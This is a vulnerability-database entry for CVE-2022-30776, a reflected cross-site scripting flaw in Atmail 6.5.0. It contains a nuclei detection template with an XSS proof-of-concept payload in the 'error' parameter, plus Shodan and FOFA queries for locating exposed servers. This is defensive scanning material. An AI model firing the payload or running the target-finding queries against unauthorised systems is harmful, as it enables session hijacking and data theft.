HexBrain

Browse / CVEs / CVE-2022-30776

CVE-2022-30776· atmail / atmail· CWE-79

Atmail 6.5.0 - Cross-Site Scripting

mediumseverity
6.1CVSS score
4.3%likelihood of exploitation, next 30 days
91%of all CVEs are less likely
Readycheck to confirm it

Atmail 6.5.0 contains a cross-site scripting vulnerability via the index.php/admin/index/ 'error' parameter.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Apply the latest security patches or upgrade to a newer version of Atmail that addresses this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/atmail/index.php/admin/index/?error=1%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "Error: 1<script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2022-30776 -u <target>

The full check
id: CVE-2022-30776

info:
  name: Atmail 6.5.0 - Cross-Site Scripting
  author: 3th1c_yuk1
  severity: medium
  description: |
    Atmail 6.5.0 contains a cross-site scripting vulnerability via the index.php/admin/index/ 'error' parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patches or upgrade to a newer version of Atmail that addresses this vulnerability.
  reference:
    - https://medium.com/@bhattronit96/cve-2022-30776-cd34f977c2b9
    - https://www.atmail.com/
    - https://help.atmail.com/hc/en-us/sections/115003283988
    - https://nvd.nist.gov/vuln/detail/CVE-2022-30776
    - https://medium.com/%40bhattronit96/cve-2022-30776-cd34f977c2b9
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-30776
    cwe-id: CWE-79
    epss-score: 0.04291
    epss-percentile: 0.91202
    cpe: cpe:2.3:a:atmail:atmail:6.5.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: atmail
    product: atmail
    shodan-query:
      - http.html:"atmail"
      - http.html:"powered by atmail"
    fofa-query:
      - body="powered by atmail"
      - body="atmail"
  tags: cve2022,cve,atmail,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/atmail/index.php/admin/index/?error=1%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Error: 1<script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from